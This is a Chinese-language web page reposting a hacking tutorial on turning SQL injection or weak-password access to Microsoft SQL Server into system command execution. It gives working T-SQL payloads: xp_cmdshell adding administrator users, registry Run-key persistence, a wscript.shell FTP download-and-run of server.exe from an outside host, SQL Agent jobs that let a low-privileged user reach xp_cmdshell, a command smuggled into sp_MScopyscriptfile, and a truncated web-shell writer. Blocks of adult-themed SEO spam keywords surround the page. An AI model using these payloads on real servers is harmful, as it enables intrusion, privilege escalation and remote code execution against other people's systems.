中文字幕免费精品_亚洲视频自拍_亚洲综合国产激情另类一区_色综合咪咪久久

怎樣在MSSQL執行命令
來源:易賢網 閱讀:3032 次 日期:2014-11-03 10:09:40
溫馨提示:易賢網小編為您整理了“怎樣在MSSQL執行命令”,方便廣大網友查閱!

假設一臺主機開了1433端口我們已通過SQL注入或是空弱密碼遠程連接

能有哪些辦法加一個系統管理員用戶呢(或是執行系統命令)

1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'

人人都知道的辦法,最大的好處是有回顯,但是最怕

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

通過上面的T-SQL語句就可以把這個擴展儲存刪了

我們一般可以用

2k:

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

SQL97:

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

就還原了.

但是有的人知道sp_addextendedproc也只不過是一個儲存過程一樣可以刪除的

Drop PROCEDURE sp_addextendedproc

if exists (select * from

dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

還原:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

/*

** Create the extended procedure mapping.

*/

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

呀呀寫了這么多其實有個最簡單的保護辦法:

先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)刪了

再把服務打開就可以了

2)看了上面的你就明白了xp_cmdshell最終是可以被刪除的沒別的辦法了嗎?

有寫注冊表三:

xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWAREMicrosoftWindowscurrentversionrun', 'czy82','REG_SZ', net user czy bb /add

其實注冊表還有好幾個地方可以寫的比如說注冊表中的WEB瀏覽設置

用寫注冊表的辦法不好的地方是不但沒有回顯而且不能馬上運行實不實用我也不知道了

3)

declare @s int

exec sp_oacreate "wscript.shell",@s out

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"

exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

對了正如你看到的我們還可以使用sp_oacreate和sp_oamethod在它們的作用下我們可以

調用系統的控件比如說fso,wsh,shell什么的,但是有個問題是并不能象xp_cmdshell那樣

馬上看到結果真的不能嗎看下面的:

declare @s int,@o int ,@f int,@str nvarchar(4000)

/*exec sp_oacreate "wscript.shell",@s out

exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:temp.txt"*/

exec sp_oacreate "scripting.filesystemobject", @o out

exec sp_oamethod @o, "opentextfile", @f out,"c:temp.txt", 1

exec sp_oamethod @f, "readall",@str out

print @str

先執行注解內的然后執行外面的其實原理很簡單就是利用>把結果寫到一個文件中然后用

fso來讀出來!很實用的

4)

use msdb; --這兒不要是master喲

exec sp_add_job @job_name='czy82';

exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:>c:b.txt';

exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';

exec sp_start_job @job_name='czy82';

利用MSSQL的作業處理也是可以執行命令的而且如果上面的subsystem的參數是tsql后面的我們就可以

執行tsql語句了.

對于這幾個儲存過程的使用第一在@server_name我們要指定你的sql的服務器名

第二系統的sqlserveragent服務必須打開(默認沒打開的氣人了吧)

net start SQLSERVERAGENT

對于這個東東還有一個地方不同就是public也可以執行..同這兒也是有系統洞洞的看下面的

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',

@enabled = 1,

@description = 'This will give a low privileged user Access to

xp_cmdshell',

@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

@step_name = 'Exec my sql',

@subsystem = 'TSQL',

@command = 'exec master..xp_execresultset N''select ''''exec

master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

@server_name = '你的SQL的服務器名'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

不要懷疑上面的代碼我是測試成功了的!這兒我們要注意xp_execresultset就是因為它所以

才讓我們可以以public執行xp_cmdshell

5)關于Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶也可以)

在安焦有文章:http://www.xfocus.net/vuln/vul_view.PHP?vul_id=2968

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',

@enabled = 1,

@description = 'This will create a file called c:sqlafc123.txt',

@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',

@step_name = 'SQLA

FC',

@subsystem = 'TSQL',

@command = 'select ''hello, this file was created by the SQL Agent.''',

@output_file_name = 'c:sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',

@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

如果subsystem選的是:tsql在生成的文件的頭部有如下內容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19

----------------------------------------------

hello, this file was created by the SQL Agent.

(1 ?????)

所以我建議要生成文件最好subsystem選cmdexec,如果利用得好我們可以寫一個有添加管理員

命令的VBs文件到啟動目錄!

6)關于sp_makewebtask(可以寫任意內容任意文件名的文件)

關于sp_MScopyscriptfile 看下面的例子

declare @command varchar(100)

declare @scripfile varchar(200)

set concat_null_yields_null off

select @command='dir c: > "attackeripsharedir.txt"'

select @scripfile='c:autoexec.bat > nul" | ' + @command + ' | rd "'

exec sp_MScopyscriptfile @scripfile ,''

這兩個東東都還在測試試喲

讓MSSQL的public用戶得到一個本機的web shell:)

sp_makewebtask @outputfile='d:smsa.asp',@charset=gb2312,

--@query='select '''''

--@query='select '''' '

@query='select ''

" method="POST">

更多信息請查看IT技術專欄

更多信息請查看數據庫
下一篇:SQL高級查詢
易賢網手機網站地址:怎樣在MSSQL執行命令
由于各方面情況的不斷調整與變化,易賢網提供的所有考試信息和咨詢回復僅供參考,敬請考生以權威部門公布的正式信息和咨詢為準!

2026上岸·考公考編培訓報班

  • 報班類型
  • 姓名
  • 手機號
  • 驗證碼
關于我們 | 聯系我們 | 人才招聘 | 網站聲明 | 網站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
工業和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
云南網警備案專用圖標
聯系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關注公眾號:hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權所有:易賢網
云南網警報警專用圖標
中文字幕免费精品_亚洲视频自拍_亚洲综合国产激情另类一区_色综合咪咪久久
国产精品一区二区欧美| 亚洲毛片在线免费观看| 亚洲免费观看| 久久久成人网| 亚洲成在线观看| 久久亚洲春色中文字幕久久久| 国产欧美大片| 久久欧美中文字幕| 一区二区在线视频| 欧美精品日韩综合在线| 99re6热在线精品视频播放速度| 欧美激情bt| 99热在这里有精品免费| 欧美色综合天天久久综合精品| 精品96久久久久久中文字幕无| 欧美一区二区三区四区夜夜大片| 国产女人18毛片水18精品| 欧美一区永久视频免费观看| 亚洲激情另类| 欧美日韩在线看| 亚洲欧美国产高清| 黄色av日韩| 欧美经典一区二区| 亚洲视频一区二区在线观看| 国际精品欧美精品| 欧美成人日韩| 黑人一区二区三区四区五区| 欧美另类69精品久久久久9999| 一区二区不卡在线视频 午夜欧美不卡在| 亚洲成色www8888| 欧美不卡视频一区发布| 中文欧美在线视频| 国产精品一区视频网站| 欧美成人中文字幕| 亚洲一品av免费观看| 欧美精品一区二区三区一线天视频 | 亚洲一区二区视频在线| 狠狠色2019综合网| 欧美精品久久99| 亚洲网友自拍| 亚洲国产精品日韩| 欧美体内谢she精2性欧美 | 亚洲日韩欧美视频| 国产精品日韩高清| 欧美不卡一卡二卡免费版| 国产精品视频| 欧美高清视频一区二区| 亚洲欧美日韩精品久久久| 亚洲巨乳在线| 国产一区二区三区网站| 欧美日韩国产一中文字不卡| 麻豆精品在线视频| 午夜精品999| 亚洲日本成人在线观看| 黄色精品一区| 国产精品麻豆成人av电影艾秋| 久久视频这里只有精品| 欧美一区二区三区在线观看视频| 亚洲大胆视频| 国产日韩精品久久久| 国产精品久久婷婷六月丁香| 免费不卡在线视频| 一区二区三区日韩精品| 亚洲精品美女在线| 激情欧美一区| 欧美性猛交xxxx乱大交退制版| 欧美国产激情| 久久久久久久999精品视频| 欧美一级久久| 亚洲视频一区二区在线观看| 91久久精品美女| 91久久国产综合久久| 国产一区二区| 国产精品免费福利| 国产美女搞久久| 欧美亚日韩国产aⅴ精品中极品| 老巨人导航500精品| 麻豆精品视频在线观看视频| 欧美一区二区免费| 亚洲一区二区三区在线看| 亚洲神马久久| 夜夜夜久久久| 在线看日韩av| 亚洲欧洲一区二区天堂久久| 影音先锋中文字幕一区二区| 亚洲高清视频中文字幕| 影音先锋日韩资源| 伊人色综合久久天天五月婷| 亚洲成在线观看| 在线观看视频欧美| 韩国成人理伦片免费播放| 亚洲承认在线| 亚洲第一在线视频| 国内精品久久久久久| 一区二区三区在线视频观看| 国产一区二区三区最好精华液| 欧美美女视频| 欧美视频一区二区| 欧美日韩在线一二三| 久久久精彩视频| 久久精品视频亚洲| 久久久国产精品亚洲一区| 欧美成人xxx| 欧美激情第10页| 欧美另类videos死尸| 国产精品毛片大码女人| 国产精品xxx在线观看www| 欧美视频官网| 国产尤物精品| 在线观看日韩www视频免费 | 国产一级一区二区| 国内精品久久久久久| 国内外成人在线| 亚洲乱码视频| 亚洲视频在线看| 一本到高清视频免费精品| 亚洲女人天堂av| 欧美一区二区三区免费看| 亚洲免费视频一区二区| 午夜精品久久久久久久蜜桃app| 亚洲综合色网站| 久久综合久久综合久久综合| 欧美福利精品| 欧美调教视频| 今天的高清视频免费播放成人 | 欧美日本在线观看| 欧美日韩亚洲国产精品| 国产精品久久久久久久久借妻| 国产一区高清视频| 亚洲成色999久久网站| 欧美承认网站| 国产精品久久久久久久久| 国产亚洲一区在线播放| 日韩视频免费| 久久成人人人人精品欧| 毛片基地黄久久久久久天堂| 国产精品久久久久9999吃药| 国产色产综合产在线视频| 一区免费观看视频| 羞羞视频在线观看欧美| 免费观看成人www动漫视频| 久久精品国产一区二区电影| 欧美日韩在线观看一区二区| 亚洲在线一区| 99国产精品一区| 亚洲欧美另类久久久精品2019| 国产精品女主播| 亚洲欧洲一区二区在线播放| 亚洲国产专区校园欧美| 日韩视频二区| 亚洲欧美成人一区二区三区| 欧美精品在线观看一区二区| 国产日韩精品久久久| 亚洲亚洲精品在线观看| 另类欧美日韩国产在线| 欧美性色综合| 99热免费精品在线观看| 久久精品女人| 欧美日韩在线播放| 亚洲高清不卡一区| 欧美亚洲日本网站| 国产精品久久久一区麻豆最新章节| 精品成人久久| 亚洲在线成人精品| 欧美私人网站| 亚洲激情六月丁香| 欧美成人午夜激情在线| 国产一区二区三区四区三区四| 妖精视频成人观看www| 欧美激情久久久| 精品va天堂亚洲国产| 性色av一区二区三区红粉影视| 国产精品都在这里| 亚洲精品日韩久久| 亚洲网站视频福利| 欧美日韩在线视频观看| 亚洲国产精品成人综合色在线婷婷 | 欧美在线观看www| 欧美大色视频| 久久久噜噜噜久久久| 最新日韩在线| 久久一区二区精品| 久久久久99精品国产片| 欧美日韩国产小视频在线观看| 亚洲国产精品视频一区| 欧美一区二区三区在线看 | 一区二区视频免费完整版观看| 亚洲天堂av在线免费| 久久久久久亚洲精品杨幂换脸| 国产一区二区三区自拍| 销魂美女一区二区三区视频在线| 美乳少妇欧美精品| 91久久精品www人人做人人爽| 久久久久久久一区二区三区| 久久视频一区| 极品尤物久久久av免费看| 久久久久久久综合| 亚洲电影第三页| 欧美在线一二三| 欧美精品二区|